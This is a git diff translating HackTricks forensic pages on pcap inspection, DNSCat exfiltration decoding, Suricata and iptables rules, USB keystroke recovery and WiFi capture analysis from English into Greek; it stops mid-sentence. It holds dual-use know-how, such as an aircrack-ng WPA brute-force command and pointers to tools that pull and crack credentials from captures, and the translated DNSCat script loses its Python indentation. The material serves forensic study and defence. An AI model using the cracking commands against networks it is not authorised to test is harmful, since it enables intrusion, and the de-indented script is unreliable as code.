εικόνες από το τερματικό.\ +Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index c16bee711..5b1a145de 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -2,32 +2,26 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> Μια σημείωση σχετικά με το **PCAP** και το **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε κάποια άλλα εργαλεία. ## Online tools for pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -- **Full pcap analysis from the browser in** [**https://apackets.com/**](https://apackets.com/) +- Αν η κεφαλίδα του pcap σας είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Εξαγάγετε **πληροφορίες** και αναζητήστε **malware** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com) +- Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας [**www.virustotal.com**](https://www.virustotal.com) και [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- **Πλήρης ανάλυση pcap από τον περιηγητή στο** [**https://apackets.com/**](https://apackets.com/) ## Extract Information -The following tools are useful to extract statistics, files, etc. +Τα παρακάτω εργαλεία είναι χρήσιμα για την εξαγωγή στατιστικών, αρχείων κ.λπ. ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **Αν πρόκειται να αναλύσετε ένα PCAP, πρέπει βασικά να ξέρετε πώς να χρησιμοποιείτε το Wireshark** -You can find some Wireshark tricks in: +Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο: {{#ref}} wireshark-tricks.md @@ -35,68 +29,60 @@ wireshark-tricks.md ### [**https://apackets.com/**](https://apackets.com/) -Pcap analysis from the browser. +Ανάλυση pcap από τον περιηγητή. ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(μόνο linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξαγάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλα τα περιεχόμενα HTTP, κάθε κλήση VoIP (SIP), FTP, TFTP, κ.λπ. +**Εγκατάσταση** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Εκτέλεση** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +Η πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Στη συνέχεια, δημιουργήστε μια **νέα υπόθεση**, δημιουργήστε μια **νέα συνεδρία** μέσα στην υπόθεση και **ανεβάστε το pcap** αρχείο. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Όπως το Xplico, είναι ένα εργαλείο για **ανάλυση και εξαγωγή αντικειμένων από pcaps**. Έχει μια δωρεάν έκδοση που μπορείτε να **κατεβάσετε** [**εδώ**](https://www.netresec.com/?page=NetworkMiner). Λειτουργεί με **Windows**.\ +Αυτό το εργαλείο είναι επίσης χρήσιμο για να αποκτήσετε **άλλες πληροφορίες που αναλύονται** από τα πακέτα προκειμένου να γνωρίζετε τι συνέβαινε με **ταχύτερο** τρόπο. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +Μπορείτε να κατεβάσετε [**NetWitness Investigator από εδώ**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Λειτουργεί σε Windows)**.\ +Αυτό είναι ένα άλλο χρήσιμο εργαλείο που **αναλύει τα πακέτα** και ταξινομεί τις πληροφορίες με χρήσιμο τρόπο για να **γνωρίζετε τι συμβαίνει μέσα**. ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions +- Εξαγωγή και κωδικοποίηση ονομάτων χρηστών και κωδικών πρόσβασης (HTTP, FTP, Telnet, IMAP, SMTP...) +- Εξαγωγή κατακερματισμένων κωδικών αυθεντικοποίησης και σπάσιμο τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου & χρήστες) +- Εξαγωγή ερωτημάτων DNS +- Ανακατασκευή όλων των TCP & UDP Συνεδριών - File Carving ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε το **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +Η χρήση κοινών τεχνικών carving μπορεί να είναι χρήσιμη για την εξαγωγή αρχείων και πληροφοριών από το pcap: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -104,46 +90,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για να αναλύσετε διαπιστευτήρια από ένα pcap ή μια ζωντανή διεπαφή. ## Check Exploits/Malware ### Suricata -**Install and setup** - +**Εγκατάσταση και ρύθμιση** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**Έλεγχος pcap** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) είναι ένα εργαλείο που -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- Διαβάζει ένα αρχείο PCAP και εξάγει ροές Http. +- Το gzip αποσυμπιέζει οποιεσδήποτε συμπιεσμένες ροές +- Σαρώσει κάθε αρχείο με yara +- Γράφει ένα report.txt +- Προαιρετικά αποθηκεύει τα αρχεία που ταιριάζουν σε έναν φάκελο ### Malware Analysis -Check if you can find any fingerprint of a known malware: +Ελέγξτε αν μπορείτε να βρείτε οποιοδήποτε αποτύπωμα γνωστού κακόβουλου λογισμικού: {{#ref}} ../malware-analysis.md @@ -151,12 +127,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν τις έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστεί να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τα αρχεία καταγραφής όπου οι **πληροφορίες** σχετικά με τα pcaps είναι. ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -206,9 +181,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### Πληροφορίες DNS ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -225,8 +198,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Άλλες τεχνικές ανάλυσης pcap {{#ref}} dnscat-exfiltration.md @@ -242,10 +214,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index aba634f34..9e9390e2c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,11 +1,10 @@ -# DNSCat pcap analysis +# Ανάλυση pcap του DNSCat {{#include ../../../banners/hacktricks-training.md}} -If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +Αν έχετε pcap με δεδομένα που **εξάγονται από το DNSCat** (χωρίς χρήση κρυπτογράφησης), μπορείτε να βρείτε το εξαγόμενο περιεχόμενο. +Πρέπει μόνο να γνωρίζετε ότι τα **πρώτα 9 bytes** δεν είναι πραγματικά δεδομένα αλλά σχετίζονται με την **επικοινωνία C\&C**: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -13,25 +12,22 @@ import struct f = "" last = "" for p in rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +Για περισσότερες πληροφορίες: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) - +Υπάρχει ένα σενάριο που λειτουργεί με Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 4be42c696..7b4ff79ee 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -6,14 +6,13 @@ ### Chains -In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities. +Στο iptables, οι λίστες κανόνων που είναι γνωστές ως αλυσίδες επεξεργάζονται διαδοχικά. Μεταξύ αυτών, τρεις κύριες αλυσίδες είναι παρούσες καθολικά, με επιπλέον όπως το NAT να υποστηρίζονται δυνητικά ανάλογα με τις δυνατότητες του συστήματος. -- **Input Chain**: Utilized for managing the behavior of incoming connections. -- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities. -- **Output Chain**: Dedicated to the regulation of outgoing connections. - -These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system. +- **Input Chain**: Χρησιμοποιείται για τη διαχείριση της συμπεριφοράς των εισερχόμενων συνδέσεων. +- **Forward Chain**: Χρησιμοποιείται για την επεξεργασία εισερχόμενων συνδέσεων που δεν προορίζονται για το τοπικό σύστημα. Αυτό είναι τυπικό για συσκευές που λειτουργούν ως δρομολογητές, όπου τα δεδομένα που λαμβάνονται προορίζονται να προωθηθούν σε άλλο προορισμό. Αυτή η αλυσίδα είναι σχετική κυρίως όταν το σύστημα εμπλέκεται σε δρομολόγηση, NATing ή παρόμοιες δραστηριότητες. +- **Output Chain**: Αφιερωμένη στη ρύθμιση των εξερχόμενων συνδέσεων. +Αυτές οι αλυσίδες διασφαλίζουν την τακτική επεξεργασία της δικτυακής κίνησης, επιτρέποντας τον καθορισμό λεπτομερών κανόνων που διέπουν τη ροή των δεδομένων μέσα, μέσω και έξω από ένα σύστημα. ```bash # Delete all rules iptables -F @@ -50,11 +49,9 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config - +### Εγκατάσταση & Ρύθμιση ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -64,7 +61,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -80,7 +77,7 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules @@ -92,7 +89,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -101,8 +98,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -120,76 +117,70 @@ Type=simple systemctl daemon-reload ``` +### Ορισμοί Κανόνων -### Rules Definitions - -[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following: - -- The **action**, determines what happens when the signature matches. -- The **header**, defines the protocol, IP addresses, ports and direction of the rule. -- The **rule options**, define the specifics of the rule. +[Από τα έγγραφα:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Ένας κανόνας/υπογραφή αποτελείται από τα εξής: +- Η **ενέργεια**, καθορίζει τι συμβαίνει όταν η υπογραφή ταιριάζει. +- Η **κεφαλίδα**, ορίζει το πρωτόκολλο, τις διευθύνσεις IP, τις θύρες και την κατεύθυνση του κανόνα. +- Οι **επιλογές κανόνα**, καθορίζουν τις λεπτομέρειες του κανόνα. ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` +#### **Έγκυρες ενέργειες είναι** -#### **Valid actions are** +- alert - δημιουργία ειδοποίησης +- pass - σταματήστε την περαιτέρω επιθεώρηση του πακέτου +- **drop** - απόρριψη πακέτου και δημιουργία ειδοποίησης +- **reject** - αποστολή σφάλματος RST/ICMP μη προσβάσιμο στον αποστολέα του αντίστοιχου πακέτου. +- rejectsrc - το ίδιο με το _reject_ +- rejectdst - αποστολή σφάλματος RST/ICMP στον παραλήπτη του αντίστοιχου πακέτου. +- rejectboth - αποστολή σφαλμάτων RST/ICMP και στις δύο πλευρές της συνομιλίας. -- alert - generate an alert -- pass - stop further inspection of the packet -- **drop** - drop packet and generate alert -- **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -- rejectsrc - same as just _reject_ -- rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -- rejectboth - send RST/ICMP error packets to both sides of the conversation. +#### **Πρωτόκολλα** -#### **Protocols** - -- tcp (for tcp-traffic) +- tcp (για tcp-traffic) - udp - icmp -- ip (ip stands for ‘all’ or ‘any’) -- _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +- ip (ip σημαίνει ‘όλα’ ή ‘οποιοδήποτε’) +- _πρωτόκολλα layer7_: http, ftp, tls, smb, dns, ssh... (περισσότερα στα [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) -#### Source and Destination Addresses +#### Διευθύνσεις Πηγής και Προορισμού -It supports IP ranges, negations and a list of addresses: +Υποστηρίζει εύρος IP, αρνήσεις και μια λίστα διευθύνσεων: -| Example | Meaning | -| ----------------------------- | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME_NET | Your setting of HOME_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET and not HOME_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| Παράδειγμα | Σημασία | +| ------------------------------- | ---------------------------------------- | +| ! 1.1.1.1 | Κάθε διεύθυνση IP εκτός από 1.1.1.1 | +| !\[1.1.1.1, 1.1.1.2] | Κάθε διεύθυνση IP εκτός από 1.1.1.1 και 1.1.1.2 | +| $HOME_NET | Η ρύθμισή σας για το HOME_NET στο yaml | +| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET και όχι HOME_NET | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 εκτός από 10.0.0.5 | -#### Source and Destination Ports +#### Θύρες Πηγής και Προορισμού -It supports port ranges, negations and lists of ports +Υποστηρίζει εύρος θυρών, αρνήσεις και λίστες θυρών -| Example | Meaning | -| --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| Παράδειγμα | Σημασία | +| -------------------| -------------------------------------- | +| any | οποιαδήποτε διεύθυνση | +| \[80, 81, 82] | θύρες 80, 81 και 82 | +| \[80: 82] | Εύρος από 80 έως 82 | +| \[1024: ] | Από 1024 έως τον υψηλότερο αριθμό θύρας | +| !80 | Κάθε θύρα εκτός από 80 | +| \[80:100,!99] | Εύρος από 80 έως 100 αλλά 99 εξαιρείται | +| \[1:80,!\[2,4]] | Εύρος από 1-80, εκτός από τις θύρες 2 και 4 | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### Κατεύθυνση +Είναι δυνατόν να υποδείξετε την κατεύθυνση του κανόνα επικοινωνίας που εφαρμόζεται: ``` source -> destination source <> destination (both directions) ``` +#### Λέξεις-κλειδιά -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Υπάρχουν **εκατοντάδες επιλογές** διαθέσιμες στο Suricata για να αναζητήσετε το **συγκεκριμένο πακέτο** που ψάχνετε, εδώ θα αναφερθεί αν βρεθεί κάτι ενδιαφέρον. Ελέγξτε την [**τεκμηρίωση**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) για περισσότερα! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -230,5 +221,4 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 782e405aa..34ad99afb 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -2,18 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +Αν έχετε ένα pcap που περιέχει την επικοινωνία μέσω USB ενός πληκτρολογίου όπως το παρακάτω: ![](<../../../images/image (962).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to get what was written in the communication: - +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) για να αποκτήσετε ό,τι γράφτηκε στην επικοινωνία: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό στο: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index f1371d5fa..9ec30529b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Check BSSIDs +## Έλεγχος BSSIDs -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +Όταν λάβετε μια καταγραφή της οποίας η κύρια κίνηση είναι Wifi χρησιμοποιώντας το WireShark, μπορείτε να αρχίσετε να ερευνάτε όλα τα SSIDs της καταγραφής με _Wireless --> WLAN Traffic_: ![](<../../../images/image (106).png>) @@ -12,29 +12,27 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ### Brute Force -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: - +Μία από τις στήλες της οθόνης αυτής υποδεικνύει αν **βρέθηκε οποιαδήποτε αυθεντικοποίηση μέσα στο pcap**. Αν αυτό ισχύει, μπορείτε να προσπαθήσετε να το σπάσετε χρησιμοποιώντας το `aircrack-ng`: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Για παράδειγμα, θα ανακτήσει το WPA passphrase που προστατεύει ένα PSK (προκαθορισμένο κλειδί), το οποίο θα απαιτηθεί για να αποκρυπτογραφήσετε την κίνηση αργότερα. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +## Δεδομένα σε Beacons / Παράπλευρη Διάσταση -## Data in Beacons / Side Channel +Εάν υποψιάζεστε ότι **δεδομένα διαρρέουν μέσα σε beacons ενός Wifi δικτύου**, μπορείτε να ελέγξετε τα beacons του δικτύου χρησιμοποιώντας ένα φίλτρο όπως το εξής: `wlan contains `, ή `wlan.ssid == "NAMEofNETWORK"` αναζητώντας μέσα στα φιλτραρισμένα πακέτα για ύποπτες αλυσίδες. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +## Βρείτε Άγνωστες Διευθύνσεις MAC σε Ένα Wifi Δίκτυο -## Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +Ο παρακάτω σύνδεσμος θα είναι χρήσιμος για να βρείτε τις **μηχανές που στέλνουν δεδομένα μέσα σε ένα Wifi Δίκτυο**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Εάν ήδη γνωρίζετε **διευθύνσεις MAC μπορείτε να τις αφαιρέσετε από την έξοδο** προσθέτοντας ελέγχους όπως αυτόν: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Μόλις έχετε ανιχνεύσει **άγνωστες διευθύνσεις MAC** που επικοινωνούν μέσα στο δίκτυο, μπορείτε να χρησιμοποιήσετε **φίλτρα** όπως το εξής: `wlan.addr== && (ftp || http || ssh || telnet)` για να φιλτράρετε την κίνησή τους. Σημειώστε ότι τα 